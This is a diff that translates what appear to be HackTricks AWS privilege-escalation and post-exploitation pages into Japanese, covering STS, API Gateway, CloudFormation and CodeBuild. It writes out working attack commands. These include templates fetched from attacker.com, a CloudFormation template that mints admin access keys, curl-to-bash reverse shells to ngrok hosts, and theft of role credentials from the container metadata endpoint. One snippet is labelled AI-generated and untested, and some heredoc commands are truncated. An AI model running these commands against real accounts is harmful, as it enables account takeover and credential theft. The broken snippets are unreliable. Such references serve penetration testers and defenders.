Functionsリソースからタグを追加、変更、または削除することができ、タグに基づく組織のコスト配分、リソース追跡、及びアクセス制御ポリシーを混乱させる可能性があります。 ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**潜在的な影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 3cabd1b71..9185fb27f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -1,24 +1,23 @@ -# AWS - STS Post Exploitation +# AWS - STS ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## STS -For more information: +詳細情報については： {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### From IAM Creds to Console +### IAMクレデンシャルからコンソールへ -If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\ -Note that the the user/role must have the permission **`sts:GetFederationToken`**. +IAMクレデンシャルを取得できた場合、次のツールを使用して**ウェブコンソールにアクセスすること**に興味があるかもしれません。\ +ユーザー/ロールは**`sts:GetFederationToken`**の権限を持っている必要があります。 -#### Custom script - -The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console: +#### カスタムスクリプト +次のスクリプトは、デフォルトプロファイルとデフォルトのAWSロケーション（政府および中国以外）を使用して、ウェブコンソールにログインするために使用できる署名付きURLを提供します： ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess) if [ $? -ne 0 ]; then - echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" - exit $status +echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" +exit $status fi # Parse the output @@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation" # Make the HTTP request to get the sign-in token resp=$(curl -s "$federation_endpoint" \ - --get \ - --data-urlencode "Action=getSigninToken" \ - --data-urlencode "SessionDuration=43200" \ - --data-urlencode "Session=$json_creds" +--get \ +--data-urlencode "Action=getSigninToken" \ +--data-urlencode "SessionDuration=43200" \ +--data-urlencode "Session=$json_creds" ) signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) @@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` - #### aws_consoler -You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). - +[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler)を使用して**ウェブコンソールリンクを生成**できます。 ```bash cd /tmp python3 -m venv env @@ -67,27 +64,23 @@ source ./env/bin/activate pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` - > [!WARNING] -> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume. +> IAMユーザーが`sts:GetFederationToken`権限を持っていることを確認するか、引き受けるロールを提供してください。 #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment. - +[**aws-vault**](https://github.com/99designs/aws-vault)は、開発環境でAWSの認証情報を安全に保存し、アクセスするためのツールです。 ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` - > [!NOTE] -> You can also use **aws-vault** to obtain an **browser console session** +> **aws-vault**を使用して**ブラウザコンソールセッション**を取得することもできます。 -### **Bypass User-Agent restrictions from Python** - -If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing: +### **PythonからのUser-Agent制限のバイパス** +**ユーザーエージェントに基づいて特定のアクションを実行する制限**がある場合（ユーザーエージェントに基づいてpython boto3ライブラリの使用を制限するなど）、前述の技術を使用して**ブラウザ経由でウェブコンソールに接続する**ことが可能です。または、次のようにして**boto3のユーザーエージェントを直接変更する**こともできます： ```bash # Shared by ex16x41 # Create a client @@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda # Perform the action response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString']) ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md index fe4f69e25..cb47ee619 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md @@ -1,17 +1,13 @@ -# AWS - VPN Post Exploitation +# AWS - VPN ポストエクスプロイテーション {{#include ../../../banners/hacktricks-training.md}} ## VPN -For more information: +詳細情報については： {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index ba8374b41..5e030755b 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -4,16 +4,16 @@ ## AWS Privilege Escalation -The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization. +AWSで権限を昇格させる方法は、他のロール/ユーザー/グループの権限にアクセスできるだけの十分な権限を持つことです。昇格を連鎖させて、組織に対する管理者アクセスを得ることができます。 > [!WARNING] -> AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**. +> AWSには、エンティティに付与できる**数百**（場合によっては数千）の**権限**があります。この本では、**権限を昇格させるために悪用できるすべての権限**を見つけることができますが、ここに記載されていない**パスを知っている**場合は、**共有してください**。 > [!CAUTION] -> If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\ -> So remember that this is another way to **grant privileged permissions** to a principal. +> IAMポリシーに`"Effect": "Allow"`と`"NotAction": "Someaction"`があり、**リソース**を示している場合...それは**許可された主体**が**指定されたアクション以外のすべてを行う権限を持っている**ことを意味します。\ +> したがって、これは主体に**特権のある権限を付与する**別の方法であることを覚えておいてください。 -**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.** +**このセクションのページはAWSサービスによって整理されています。そこでは、権限を昇格させることができる権限を見つけることができます。** ## Tools @@ -21,7 +21,3 @@ The way to escalate your privileges in AWS is to have enough permissions to be a - [Pacu](https://github.com/RhinoSecurityLabs/pacu) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 7f7edbc6e..291845a32 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -4,7 +4,7 @@ ## Apigateway -For more information check: +詳細については、次を確認してください： {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -12,44 +12,37 @@ For more information check: ### `apigateway:POST` -With this permission you can generate API keys of the APIs configured (per region). - +この権限を使用すると、設定されたAPIのAPIキーを生成できます（リージョンごと）。 ```bash aws --region apigateway create-api-key ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**潜在的影響:** この技術では権限昇格はできませんが、機密情報にアクセスできる可能性があります。 ### `apigateway:GET` -With this permission you can get generated API keys of the APIs configured (per region). - +この権限を使用すると、設定されたAPIの生成されたAPIキーを取得できます（地域ごと）。 ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**潜在的な影響:** この技術では権限昇格はできませんが、機密情報にアクセスできる可能性があります。 ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda). - +これらの権限を持つことで、APIのリソースポリシーを変更し、自分自身が呼び出すためのアクセスを得て、APIゲートウェイが持つ可能性のあるアクセスを悪用することができます（脆弱なラムダを呼び出すなど）。 ```bash aws apigateway update-rest-api \ - --rest-api-id api-id \ - --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' +--rest-api-id api-id \ +--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` - -**Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info. +**潜在的な影響:** 通常、この技術で直接権限昇格はできませんが、機密情報にアクセスできる可能性があります。 ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**. +> テストが必要です +`apigateway:PutIntegration`、`apigateway:CreateDeployment`、および `iam:PassRole` の権限を持つ攻撃者は、**IAMロールが付与されたLambda関数を使用して既存のAPI Gateway REST APIに新しい統合を追加することができます**。攻撃者はその後、**Lambda関数をトリガーして任意のコードを実行し、IAMロールに関連付けられたリソースにアクセスできる可能性があります**。 ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -63,16 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Access to resources associated with the Lambda function's IAM role. +**潜在的な影響**: Lambda関数のIAMロールに関連付けられたリソースへのアクセス。 ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made. +> テストが必要 +`apigateway:UpdateAuthorizer`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のAPI Gatewayオーソライザーを変更**して、セキュリティチェックを回避したり、APIリクエストが行われる際に任意のコードを実行したりすることができます。 ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -84,16 +75,14 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Bypassing security checks, unauthorized access to API resources. +**潜在的な影響**: セキュリティチェックのバイパス、APIリソースへの不正アクセス。 ### `apigateway:UpdateVpcLink` > [!NOTE] -> Need testing - -An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**. +> テストが必要 +`apigateway:UpdateVpcLink`の権限を持つ攻撃者は、**既存のVPCリンクを異なるネットワークロードバランサーを指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性があります**。 ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" @@ -101,11 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` - -**Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic. +**潜在的な影響**: プライベートAPIリソースへの不正アクセス、APIトラフィックの傍受または中断。 {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md index b477dc31f..f4e2282e8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md @@ -7,7 +7,3 @@ TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 39cba539e..590c3b9b4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -For more information about cloudformation check: +Cloudformationに関する詳細情報は、以下を確認してください： {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,111 +12,99 @@ For more information about cloudformation check: ### `iam:PassRole`, `cloudformation:CreateStack` -An attacker with these permissions **can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to **execute actions under the permissions of a specified role:** - +これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することにより、**権限を昇格させることができます：** ```bash aws cloudformation create-stack --stack-name \ - --template-url http://attacker.com/attackers.template \ - --role-arn +--template-url http://attacker.com/attackers.template \ +--role-arn ``` - -In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**: +以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイト例** があります： {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Potential Impact:** Privesc to the cloudformation service role specified. +**潜在的な影響：** 指定されたcloudformationサービスロールへの権限昇格。 ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -In this case you can a**buse an existing cloudformation stack** to update it and escalate privileges as in the previous scenario: - +この場合、**既存のcloudformationスタックを悪用**してそれを更新し、前のシナリオのように権限を昇格させることができます： ```bash aws cloudformation update-stack \ - --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 ``` +`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。 -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. - -**Potential Impact:** Privesc to the cloudformation service role specified. +**潜在的な影響:** 指定された cloudformation サービスロールへの権限昇格。 ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -If you have this permission but **no `iam:PassRole`** you can still **update the stacks** used and abuse the **IAM Roles they have already attached**. Check the previous section for exploit example (just don't indicate any role in the update). +この権限を持っているが、**`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。前のセクションでのエクスプロイトの例を確認してください（更新時にロールを指定しないでください）。 -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. +`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。 -**Potential Impact:** Privesc to the cloudformation service role already attached. +**潜在的な影響:** 既に添付されている cloudformation サービスロールへの権限昇格。 ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -An attacker with permissions to **pass a role and create & execute a ChangeSet** can **create/update a new cloudformation stack abuse the cloudformation service roles** just like with the CreateStack or UpdateStack. - -The following exploit is a **variation of the**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) using the **ChangeSet permissions** to create a stack. +ロールを**渡す権限**と**ChangeSet を作成および実行する権限**を持つ攻撃者は、**新しい cloudformation スタックを作成/更新し、cloudformation サービスロールを悪用**することができます。これは CreateStack または UpdateStack と同様です。 +以下のエクスプロイトは、**ChangeSet 権限を使用してスタックを作成する**[ **CreateStack のバリエーション**](./#iam-passrole-cloudformation-createstack)です。 ```bash aws cloudformation create-change-set \ - --stack-name privesc \ - --change-set-name privesc \ - --change-set-type CREATE \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::947247140022:role/CloudFormationAdmin \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--change-set-name privesc \ +--change-set-type CREATE \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::947247140022:role/CloudFormationAdmin \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 echo "Waiting 2 mins to change the stack" sleep 120 aws cloudformation execute-change-set \ - --change-set-name privesc \ - --stack-name privesc \ - --region eu-west-1 +--change-set-name privesc \ +--stack-name privesc \ +--region eu-west-1 echo "Waiting 2 mins to execute the stack" sleep 120 aws cloudformation describe-stacks \ - --stack-name privesc \ - --region eu-west-1 +--stack-name privesc \ +--region eu-west-1 ``` +`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `ChangeSet` 権限を付与**し、攻撃を実行できます。 -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `ChangeSet` permissions** over a stack and perform the attack. - -**Potential Impact:** Privesc to cloudformation service roles. +**潜在的な影響:** cloudformation サービスロールへの権限昇格。 ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -This is like the previous method without passing **IAM roles**, so you can just **abuse already attached ones**, just modify the parameter: - +これは前の方法と似ていますが、**IAM ロール**を渡さずに行うため、**既にアタッチされているものを悪用**することができます。パラメータを変更するだけです： ``` --change-set-type UPDATE ``` - -**Potential Impact:** Privesc to the cloudformation service role already attached. +**潜在的な影響:** すでにアタッチされているcloudformationサービスロールへの権限昇格。 ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -An attacker could abuse these permissions to create/update StackSets to abuse arbitrary cloudformation roles. +攻撃者はこれらの権限を悪用して、任意のcloudformationロールを悪用するためにStackSetsを作成/更新することができます。 -**Potential Impact:** Privesc to cloudformation service roles. +**潜在的な影響:** cloudformationサービスロールへの権限昇格。 ### `cloudformation:UpdateStackSet` -An attacker could abuse this permission without the passRole permission to update StackSets to abuse the attached cloudformation roles. +攻撃者はpassRole権限なしでこの権限を悪用して、アタッチされたcloudformationロールを悪用するためにStackSetsを更新することができます。 -**Potential Impact:** Privesc to the attached cloudformation roles. +**潜在的な影響:** アタッチされたcloudformationロールへの権限昇格。 -## References +## 参考文献 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index d41f9062c..3000914e5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -2,84 +2,74 @@ {{#include ../../../../banners/hacktricks-training.md}} -An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like: - +攻撃者は例えば、**管理者**ユーザーの**キー**を生成する**cloudformationテンプレート**を使用することができます: ```json { - "Resources": { - "AdminUser": { - "Type": "AWS::IAM::User" - }, - "AdminPolicy": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "Description": "This policy allows all actions on all resources.", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": "*" - } - ] - }, - "Users": [ - { - "Ref": "AdminUser" - } - ] - } - }, - "MyUserKeys": { - "Type": "AWS::IAM::AccessKey", - "Properties": { - "UserName": { - "Ref": "AdminUser" - } - } - } - }, - "Outputs": { - "AccessKey": { - "Value": { - "Ref": "MyUserKeys" - }, - "Description": "Access Key ID of Admin User" - }, - "SecretKey": { - "Value": { - "Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] - }, - "Description": "Secret Key of Admin User" - } - } +"Resources": { +"AdminUser": { +"Type": "AWS::IAM::User" +}, +"AdminPolicy": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"Description": "This policy allows all actions on all resources.", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": "*" +} +] +}, +"Users": [ +{ +"Ref": "AdminUser" +} +] +} +}, +"MyUserKeys": { +"Type": "AWS::IAM::AccessKey", +"Properties": { +"UserName": { +"Ref": "AdminUser" +} +} +} +}, +"Outputs": { +"AccessKey": { +"Value": { +"Ref": "MyUserKeys" +}, +"Description": "Access Key ID of Admin User" +}, +"SecretKey": { +"Value": { +"Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] +}, +"Description": "Secret Key of Admin User" +} +} } ``` - -Then **generate the cloudformation stack**: - +次に**cloudformationスタックを生成**します： ```bash aws cloudformation create-stack --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::[REDACTED]:role/adminaccess \ - --capabilities CAPABILITY_IAM --region us-west-2 +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::[REDACTED]:role/adminaccess \ +--capabilities CAPABILITY_IAM --region us-west-2 ``` - -**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**: - +**数分待って** スタックが生成されるのを待ち、その後 **出力を取得** します スタックの **資格情報が保存されている** ところ: ```bash aws cloudformation describe-stacks \ - --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ - --region uswest-2 +--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ +--region uswest-2 ``` - -### References +### 参考文献 - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index b179bec22..3ba740463 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -4,7 +4,7 @@ ## codebuild -Get more info in: +詳細情報は以下を参照してください： {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,70 +12,65 @@ Get more info in: ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project: +これらの権限のいずれかがあれば、新しいbuildspecでビルドをトリガーし、プロジェクトに割り当てられたiamロールのトークンを盗むのに十分です： {{#tabs }} {{#tab name="StartBuild" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#endtabs }} -**Note**: The difference between these two commands is that: +**注意**: これらの2つのコマンドの違いは次のとおりです： -- `StartBuild` triggers a single build job using a specific `buildspec.yml`. -- `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel). +- `StartBuild` は特定の `buildspec.yml` を使用して単一のビルドジョブをトリガーします。 +- `StartBuildBatch` は、複数のビルドを並行して実行するなど、より複雑な構成でビルドのバッチを開始することを可能にします。 -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**潜在的な影響**: 添付されたAWS Codebuildロールへの直接的な権限昇格。 ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one. +**`iam:PassRole`, `codebuild:CreateProject`, および `codebuild:StartBuild` または `codebuild:StartBuildBatch`** の権限を持つ攻撃者は、実行中のものを作成することによって **任意のcodebuild IAMロールへの権限を昇格させる**ことができます。 {{#tabs }} {{#tab name="Example1" }} - ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" @@ -84,20 +79,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" JSON="{ - \"name\": \"codebuild-demo-project\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"codebuild-demo-project\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" @@ -117,19 +112,17 @@ aws codebuild start-build --project-name codebuild-demo-project # Delete the project aws codebuild delete-project --name codebuild-demo-project ``` - {{#endtab }} {{#tab name="Example2" }} - ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command echo 'version: 0.2 phases: - build: - commands: - - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml +build: +commands: +- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml # Upload the buildspec to the bucket and give access to everyone aws s3 cp buildspec.yml s3:/buildspec.yml @@ -141,25 +134,23 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat aws codebuild start-build --project-name reverse-shell-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**潜在的な影響:** どのAWS Codebuildロールへの直接的な権限昇格。 > [!WARNING] -> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**. +> **Codebuildコンテナ**内のファイル`/codebuild/output/tmp/env.sh`には、**メタデータ認証情報**にアクセスするために必要なすべての環境変数が含まれています。 -> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> このファイルには、**環境変数`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**が含まれており、**認証情報にアクセスするためのURLパス**が含まれています。それは次のようなものになります`/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` -> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials. +> それをURL **`http://169.254.170.2/`**に追加すると、ロールの認証情報をダンプすることができます。 -> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**. +> さらに、**環境変数`ECS_CONTAINER_METADATA_URI`**も含まれており、**コンテナに関するメタデータ情報を取得するための完全なURL**が含まれています。 ### `iam:PassRole`, `codebuild:UpdateProject`, 